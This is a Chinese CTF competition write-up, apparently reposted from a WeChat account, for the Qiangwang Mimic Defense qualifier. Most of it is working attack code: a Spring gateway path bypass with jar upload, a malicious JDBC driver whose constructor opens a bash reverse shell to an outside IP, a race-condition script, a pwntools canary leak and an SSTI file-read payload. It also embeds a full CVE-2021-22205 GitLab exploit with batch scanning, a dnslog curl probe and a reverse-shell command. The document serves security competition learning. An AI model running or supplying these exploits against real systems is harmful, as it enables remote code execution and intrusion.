WEB
从microserviceone-0.0.1-SNAPSHOT中可以看到使用了/app作为基础路由:
spring:
application:
name: app
server:
servlet:
context-path: /app
port: 8661
eureka:
client:
serviceUrl:
defaultZone: http://localhost:8761/eureka/
instance:
prefer-ip-address: true
hostname: localhost
而eureka的配置只是为了能发现服务,并不需要去管它,只需要明白访问/app就能从gateway转发到app这边来,但是gataway中做了一个过滤操作:
package com.demo.gateway;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.Date;
import java.util.LinkedHashMap;
import java.util.Map;
import org.springframework.core.annotation.Order;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
@Component
@Order(1)
public class SecurityFilter implements WebFilter {
public SecurityFilter() {
}
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
ServerHttpRequest request = exchange.getRequest();
ServerHttpResponse response = exchange.getResponse();
String path = request.getPath().value();
return path.startsWith("/app/") ? writeErrorMessage(request, response, HttpStatus.UNAUTHORIZED, "No Auth!!") : chain.filter(exchange);
}
public static Mono<Void> writeErrorMessage(ServerHttpRequest request, ServerHttpResponse response, HttpStatus status, String message) {
response.getHeaders().setContentType(MediaType.APPLICATION_JSON);
response.setStatusCode(status);
Map<String, Object> errorAttributes = new LinkedHashMap();
errorAttributes.put("timestamp", new Date());
errorAttributes.put("path", request.getPath().value());
errorAttributes.put("status", status.value());
errorAttributes.put("error", status.getReasonPhrase());
errorAttributes.put("message", message);
byte[] bytes;
try {
ObjectMapper objectMapper = new ObjectMapper();
bytes = objectMapper.writeValueAsBytes(errorAttributes);
} catch (JsonProcessingException var7) {
throw new RuntimeException(var7);
}
DataBuffer dataBuffer = response.bufferFactory().wrap(bytes);
return response.writeWith(Mono.just(dataBuffer));
}
}
当访问的url中以/app/开头的话将会被拦截,由于这里是从request.getPath().value()中获取的路径,无法用常见的类似/app/;/login来绕过,不过可以配合gateway的重写地址规则进行绕过
filters:
- name: RewritePath
args:
regexp: "'/' + serviceId + '/?(?<remaining>.*)'"
replacement: "'/' + serviceId+'/${remaining}'"
使用/app;a=b/login 来进行绕过,path被重写后变成了/app/;a=b/login,能正常访问到app的路由,gateway在题目中也仅仅是这个作用,继续在app中找RCE的点即可。
绕过限制上传jar包-> 添加jar包到依赖路径 -> 验证自定义jdbc驱动 -> 加载jar包中的恶意类进行RCE
jar包上传
filterChainDefinitionMap.put("/login", "anon");
filterChainDefinitionMap.put("/**/*.js", "anon");
filterChainDefinitionMap.put("/**/*.css", "anon");
filterChainDefinitionMap.put("/favicon.ico", "anon");
private static final Pattern FILE_NAME_REGEX_PATTERN = Pattern.compile("^[A-Za-z0-9-]{1,20}\.(?:js|css)");
@PostMapping({"upload/{fileId}"})
public void upload(HttpServletResponse response, @PathVariable("fileId") String fileId, @RequestPart("file") MultipartFile file) {
Matcher matcher = FILE_NAME_REGEX_PATTERN.matcher(file.getOriginalFilename());
if (!matcher.find()) {
MessageUtils.writeMessage(response, HttpStatus.FORBIDDEN, "Invalid FileName");
} else {
boolean res = this.uploadFile(fileId, file);
if (res) {
MessageUtils.writeMessage(response, HttpStatus.OK, "Upload success");
} else {
MessageUtils.writeMessage(response, HttpStatus.INTERNAL_SERVER_ERROR, "Upload error");
}
}
}
private boolean uploadFile(String fileId, MultipartFile file) {
Assert.notNull(file, "Multipart file must not be null");
try {
fileId = URLDecoder.decode(fileId, StandardCharsets.UTF_8.name());
String originName = file.getOriginalFilename();
String newFileName = fileId + originName.substring(originName.lastIndexOf("."), originName.length());
if (newFileName.contains("..")) {
return false;
} else {
Path uploadPath = Paths.get("static/", newFileName);
FileUtils.createIfAbsent(uploadPath.getParent());
Files.createFile(uploadPath);
file.transferTo(uploadPath);
return true;
}
} catch (Exception var6) {
return false;
}
}
import requests
def uploadjar():
url = f"{url1}app;a=b/staticResource/upload/custom-drivers%252fm4x1.js%252fa.js"
print(requests.post(url, files={"file":("m4x.js.jar",open("m4x.js.jar","rb"))}).text)
upload()
关键路由
@GetMapping({"/addDriver/{deDriverId}"})
public void addDriver(HttpServletResponse response, @PathVariable("deDriverId") String deDriverId) {
try {
ProviderFactory.getProvider().addCustomJdbcClassLoader(deDriverId);
} catch (Exception var4) {
MessageUtils.writeMessage(response, HttpStatus.INTERNAL_SERVER_ERROR, var4.toString());
}
}
public synchronized void addCustomJdbcClassLoader(String deDriverId) throws Exception {
if (this.customJdbcClassLoaders.get(deDriverId) != null) {
this.customJdbcClassLoaders.remove(deDriverId);
}
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
while(classLoader.getParent() != null) {
classLoader = classLoader.getParent();
if (classLoader.toString().contains("ExtClassLoader")) {
break;
}
}
ExtendedJdbcClassLoader customJdbcClassLoader = new ExtendedJdbcClassLoader(new URL[]{(new File("static/custom-drivers/" + deDriverId)).toURI().toURL()}, classLoader);
File file = new File("static/custom-drivers/" + deDriverId);
File[] array = file.listFiles();
Optional.ofNullable(array).ifPresent((files) -> {
File[] var3 = array;
int var4 = array.length;
for(int var5 = 0; var5 < var4; ++var5) {
File tmp = var3[var5];
if (tmp.getName().endsWith(".jar")) {
try {
customJdbcClassLoader.addFile(tmp);
} catch (IOException var8) {
var8.printStackTrace();
}
}
}
});
this.customJdbcClassLoaders.put(deDriverId, customJdbcClassLoader);
}
所有满足.jar作为扩展名的文件都会调用customJdbcClassLoader.addFile(tmp)。跟进
public void addFile(String s) throws IOException {
File f = new File(s);
this.addFile(f);
}
public void addFile(File f) throws IOException {
this.addFile(f.toURI().toURL());
}
public void addFile(URL u) throws IOException {
try {
this.addURL(u);
} catch (Throwable var3) {
var3.printStackTrace();
throw new IOException("Error, could not add URL to system classloader");
}
}
因为该类是继承URLClassLoader 的,且没有重写addFile,因此这里会调用URLClassLoader 的addURL将依赖jar包加载到类加载器中,并添加到customJdbcClassLoaders (Hashmap)中去,使用的时候再从HashMap中提取出来使用,因此我们可以写出以下脚本
import requests
def addDriver():
url = f"{url1}app;a=b/addDriver/m4x.js"
print(requests.get(url).text)
会把jar加载到类加载器中,并且在customJdbcClassLoaders 中添加一个类加载器对象,key为m4x.js。
@PostMapping({"/validate/{deDriverId}"})
public void validate(HttpServletResponse response, @PathVariable("deDriverId") String deDriverId, @RequestBody Datasource datasource) {
JdbcProvider provider = ProviderFactory.getProvider();
try {
provider.checkConfiguration(datasource);
} catch (Exception var6) {
MessageUtils.writeMessage(response, HttpStatus.INTERNAL_SERVER_ERROR, var6.toString());
return;
}
String res = ProviderFactory.getProvider().checkStatus(datasource, deDriverId);
MessageUtils.writeMessage(response, HttpStatus.OK, res);
}
由于checkConfiguration中验证参数过于繁杂,需要本地起一个环境进行调试,这里就不写具体步骤了。跟进checkStatus
public String checkStatus(Datasource datasource, String deDriverId) {
try {
Connection con = this.getConnection(datasource, deDriverId);
return con == null ? "Fail" : "Success";
} catch (Exception var4) {
return "Fail";
}
}
跟进getConnection
public Connection getConnection(Datasource datasource, String deDriverId) throws Exception {
String username = null;
String password = null;
String defaultDriver = null;
String jdbcurl = null;
String customDriver = null;
DatasourceTypes datasourceType = DatasourceTypes.valueOf(datasource.getType());
Properties props = new Properties();
OracleConfiguration jdbcClassLoader;
switch (datasourceType) {
case mysql:
case mariadb:
case ds_doris:
case TiDB:
case StarRocks:
MysqlConfiguration mysqlConfiguration = (MysqlConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), MysqlConfiguration.class);
username = mysqlConfiguration.getUsername();
password = mysqlConfiguration.getPassword();
defaultDriver = "com.mysql.jdbc.Driver";
jdbcurl = mysqlConfiguration.getJdbc();
customDriver = mysqlConfiguration.getCustomDriver();
break;
case sqlServer:
SqlServerConfiguration sqlServerConfiguration = (SqlServerConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), SqlServerConfiguration.class);
username = sqlServerConfiguration.getUsername();
password = sqlServerConfiguration.getPassword();
defaultDriver = sqlServerConfiguration.getDriver();
customDriver = sqlServerConfiguration.getCustomDriver();
jdbcurl = sqlServerConfiguration.getJdbc();
break;
case oracle:
jdbcClassLoader = (OracleConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), OracleConfiguration.class);
username = jdbcClassLoader.getUsername();
password = jdbcClassLoader.getPassword();
defaultDriver = jdbcClassLoader.getDriver();
customDriver = jdbcClassLoader.getCustomDriver();
jdbcurl = jdbcClassLoader.getJdbc();
props.put("oracle.net.CONNECT_TIMEOUT", "5000");
break;
case pg:
PgConfiguration pgConfiguration = (PgConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), PgConfiguration.class);
username = pgConfiguration.getUsername();
password = pgConfiguration.getPassword();
defaultDriver = pgConfiguration.getDriver();
customDriver = pgConfiguration.getCustomDriver();
jdbcurl = pgConfiguration.getJdbc();
break;
case ck:
CHConfiguration chConfiguration = (CHConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), CHConfiguration.class);
username = chConfiguration.getUsername();
password = chConfiguration.getPassword();
defaultDriver = chConfiguration.getDriver();
customDriver = chConfiguration.getCustomDriver();
jdbcurl = chConfiguration.getJdbc();
break;
case mongo:
MongodbConfiguration mongodbConfiguration = (MongodbConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), MongodbConfiguration.class);
username = mongodbConfiguration.getUsername();
password = mongodbConfiguration.getPassword();
defaultDriver = mongodbConfiguration.getDriver();
customDriver = mongodbConfiguration.getCustomDriver();
jdbcurl = mongodbConfiguration.getJdbc(datasource.getId());
break;
case redshift:
RedshiftConfiguration redshiftConfiguration = (RedshiftConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), RedshiftConfiguration.class);
username = redshiftConfiguration.getUsername();
password = redshiftConfiguration.getPassword();
defaultDriver = redshiftConfiguration.getDriver();
customDriver = redshiftConfiguration.getCustomDriver();
jdbcurl = redshiftConfiguration.getJdbc();
break;
case impala:
ImpalaConfiguration impalaConfiguration = (ImpalaConfiguration)(new Gson()).fromJson(datasource.getConfiguration(), ImpalaConfiguration.class);
username = impalaConfiguration.getUsername();
password = impalaConfiguration.getPassword();
defaultDriver = impalaConfiguration.getDriver();
customDriver = impalaConfiguration.getCustomDriver();
jdbcurl = impalaConfiguration.getJdbc();
break;
case db2:
Db2Configuration db2Configuration = (Db2Configuration)(new Gson()).fromJson(datasource.getConfiguration(), Db2Configuration.class);
username = db2Configuration.getUsername();
password = db2Configuration.getPassword();
defaultDriver = db2Configuration.getDriver();
customDriver = db2Configuration.getCustomDriver();
jdbcurl = db2Configuration.getJdbc();
}
if (StringUtils.isNotBlank(username)) {
props.setProperty("user", username);
if (StringUtils.isNotBlank(password)) {
props.setProperty("password", password);
}
}
if (StringUtils.isNotBlank(username)) {
props.setProperty("user", username);
if (StringUtils.isNotBlank(password)) {
props.setProperty("password", password);
}
}
jdbcClassLoader = null;
String driverClassName;
ExtendedJdbcClassLoader jdbcClassLoader;
if (this.isDefaultClassLoader(customDriver)) {
driverClassName = defaultDriver;
jdbcClassLoader = this.extendedJdbcClassLoader;
} else {
driverClassName = customDriver;
jdbcClassLoader = this.getCustomJdbcClassLoader(deDriverId);
}
if (jdbcClassLoader == null) {
return null;
} else {
Driver driverClass = (Driver)jdbcClassLoader.loadClass(driverClassName).newInstance();
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Connection conn;
try {
Thread.currentThread().setContextClassLoader(jdbcClassLoader);
conn = driverClass.connect(jdbcurl, props);
} catch (Exception var22) {
var22.printStackTrace();
throw var22;
} finally {
Thread.currentThread().setContextClassLoader(classLoader);
}
return conn;
}
}
看似繁杂,只需要保证代码运行到上面所示117行Driver driverClass = (Driver)jdbcClassLoader.loadClass(driverClassName).newInstance();即可,这里进行了类的加载并实例化,会调用到该类的无参构造方法,进而执行我们的恶意java代码。
首先我们需要一个有恶意代码的jar包,且里面的恶意类需要实现自接口Driver。
package com.m4x;
import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;
public class Evil implements Driver {
public Evil() throws Exception{
Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/8.134.146.39/6666 0>&1"});
}
@Override
public Connection connect(String url, Properties info) throws SQLException {
return null;
}
@Override
public boolean acceptsURL(String url) throws SQLException {
return false;
}
@Override
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
return new DriverPropertyInfo[0];
}
@Override
public int getMajorVersion() {
return 0;
}
@Override
public int getMinorVersion() {
return 0;
}
@Override
public boolean jdbcCompliant() {
return false;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
建议在idea中进行编译,方便解决依赖问题。编译成class后放入到 ./com/m4x/Evil.class ,然后运行命令进行打包
jar cvf m4x.js.jar ./com
这样就可以制作好jar包,使用上面的脚本进行上传并加载后就可以编写脚本加载恶意类并触发恶意代码了
import requests
def getDataSource():
return {"id": "1", "name": "m4x", "desc": "test", "type": "mysql", "createTime": time.time() - 100, "updateTime": time.time(), "createBy": "", "status": 1, "configuration": '{"driver": "com.mysql.jdbc.Driver", "extraParams": "","host":"127.0.0.1", "port":12345,"dataBase":"ctf", "customDriver":"com.m4x.Evil"}'}
def validate():
url = f"{url1}app;a=b/validate/m4x.js"
print(requests.post(url,json=getDataSource()).text)
这样就完成了攻击,完整exp:
import time
import requests
url1 = "http://web-4910cb4ea1.challenge.xctf.org.cn:80/"
def getDataSource():
return {"id": "1", "name": "m4x", "desc": "test", "type": "mysql", "createTime": time.time() - 100, "updateTime": time.time(), "createBy": "", "status": 1, "configuration": '{"driver": "com.mysql.jdbc.Driver", "extraParams": "","host":"127.0.0.1", "port":12345,"dataBase":"ctf", "customDriver":"com.m4x.Evil"}'}
def uploadjar():
url = f"{url1}app;a=b/staticResource/upload/custom-drivers%252fm4x.js%252fa.js"
print(requests.post(url, files={"file":("m4x.js.jar",open("m4x.js.jar","rb"))}).text)
def addDriver():
url = f"{url1}app;a=b/addDriver/m4x.js"
print(requests.get(url).text)
def validate():
url = f"{url1}app;a=b/validate/m4x.js"
print(requests.post(url,json=getDataSource()).text)
uploadjar()
addDriver()
validate()
攻击完成会反弹shell,cat /flag即可。
import threading
import requests
url = "http://web-76898ea9a8.challenge.xctf.org.cn/"
sess = requests.session()
t = threading.Semaphore(80)
def clean():
while True:
t.acquire()
p = {"action": "clean", "subdir": "/xxx"}
sess.get(url, params=p)
t.release()
def create():
while True:
t.acquire()
p = {"action": "create", "subdir": "/xxx"}
sess.get(url, params=p)
t.acquire()
def zip():
while True:
t.acquire()
p = {"action": "zip", "subdir": "/xxx"}
sess.get(url, params=p)
t.acquire()
def unzip():
while True:
t.acquire()
p = {"action": "unzip", "subdir": "/xxx"}
sess.get(url, params=p)
t.acquire()
threading.Thread(target=clean).start()
threading.Thread(target=create).start()
threading.Thread(target=create).start()
threading.Thread(target=zip).start()
threading.Thread(target=unzip).start()
while True:
fh = sess.get(url + "xxx/backdoor.php")
if fh.status_code != 403:
print(fh.text)
Mimic
拟态控制器
from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
#elf=ELF('npuctf_pwn')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./npuctf_pwn',env={'LD_PRELOAD':'./libc6_2.23.so'})
#p=process('./controller_pwn')
p=remote('pwn-04349481cd.challenge.xctf.org.cn',9999,ssl=True)
#p=remote('pwn-04349481cd.challenge.xctf.org.cn',9999)
#gdb.attach(p,'b *0x000055555555489d')
#raw_input()
p.recv()
pay='a'*0x28
p.sendline(pay)
p.recvuntil('a'*0x28)
canary=u64(p.recv(8))-0xa
print hex(canary)
pay='a'*0x28+p64(canary)+p64(0)+'x0a'
p.send(pay)
p.interactive()
继续访问/nudm-ueau/v1/suci-0-460-00-0-0-0-0123456001/security-information/generate-auth-data
name={{lipsum.__builtins__.open("/tmp/fla""g").read().encode().hex()}}
Crypto
费马分解
from math import isqrt
from Crypto.Util.strxor import strxor
import gmpy2
import libnum
def fermat(n):
a = isqrt(n)
b2 = a * a - n
b = isqrt(n)
count = 0
while b * b != b2:
a = a + 1
b2 = a * a - n
b = isqrt(b2)
count += 1
p = a + b
q = a - b
assert n == p * q
return p, q
def Decrypt(c,e,p,q):
L=(p-1)*(q-1)
d=gmpy2.invert(e,L)
n=p*q
m=gmpy2.powmod(c,d,n)
return libnum.n2s(int(m))
n =121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313
p,q= fermat(n)
e = 0x10001
c =42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267
key = Decrypt(c,e,p,q)
print(key)
Misc
和国际象棋棋盘异或做Mask
from PIL import Image
n = 49
img = Image.open('./attach.png')
width, height = img.size
# 0 -> black
matrix = []
for i in range(49):
tmp = []
for j in range(49):
h = int(i/49*width+5)
w = int(j/49*height+5)
tmp += [int(img.getpixel((w, h))[0]/255)]
matrix += [tmp]
matrix2 = matrix.copy()
for i in range(49):
for j in range(49):
matrix2[i][j] ^= (i+j) % 2
img2 = Image.new('RGB', (490, 490))
for i in range(49):
for j in range(49):
px = (matrix2[i][j]*255,) * 3
for p in range(10):
for q in range(10):
img2.putpixel((10*i+p, 10*j+q), px)
img2.save('qr.png')
flag{7he_che556o@rd_of_che55_i5_very_5imi1@r_+o_7he_QR_code_m@5k}
车联网
新型车联网安全网络协议破解(阶段一)
import requests
import socks
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def title():
print("""
______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____
/ ___ / / ____| |___ / _ ___ / | |___ |___ |___ / _ | ___|
| | / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___
| |___ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
____ | _/ |_____| |_____|___/_____|_| |_____|_____|_____|___/|____/
Author:Al1ex@Heptagram
Github:https://github.com/Al1ex
""")
print('''
验证模式:python CVE-2021-22205.py -v true -t target_url
攻击模式:python CVE-2021-22205.py -a true -t target_url -c command
批量检测:python CVE-2021-22205.py -s true -f file
''')
def check(target_url):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{curl `whoami`.82sm53.dnslog.cn} . \n" b ") ) nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print(e)
def attack(target_url,command):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "rn------WebKitFormBoundaryIMv3mxRg59TkFSX5rnContent-Disposition: form-data; name="file"; filename="test.jpg"rnContent-Type: image/jpegrnrnAT&TFORMx00x00x03xafDJVMDIRMx00x00x00.x81x00x02x00x00x00Fx00x00x00xacxffxffxdexbfx99 !xc8x91Nxebx0cx07x1fxd2xdax88xe8kxe6Dx0f,qx02xeeIxd3nx95xbdxa2xc3"?FORMx00x00x00^DJVUINFOx00x00x00nx00x08x00x08x18x00dx00x16x00INCLx00x00x00x0fshared_anno.iffx00BG44x00x00x00x11x00Jx01x02x00x08x00x08x8axe6xe1xb17xd9*x89x00BG44x00x00x00x04x01x0fxf9x9fBG44x00x00x00x02x02nFORMx00x00x03x07DJVIANTax00x00x01P(metadatant(Copyright "\n" . qx{"+ command +"} . \n" b ") ) nrn------WebKitFormBoundaryIMv3mxRg59TkFSX5--rnrn"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] 目标 {} 存在漏洞".format(target_url))
print("[+] 请到dnslog或主机检查执行结果")
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print(e)
def scan(file):
for url_link in open(file, 'r', encoding='utf-8'):
if url_link.strip() != '':
url_path = format_url(url_link.strip())
check(url_path)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('URL 错误 {0}'.format(url))
def main():
attack("http://172.18.0.4/","bash -c 'bash -i >& /dev/tcp/8.134.146.39/6666 0>&1'")
if __name__ == '__main__':
title()
main()
直接反弹shell,ps -ef 看到进程id为5452,cd /proc/5452/cwd 可以进入到程序的工作目录
原文始发于微信公众号(山石网科安全技术研究院):第六届强网拟态防御国际精英挑战赛初赛WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论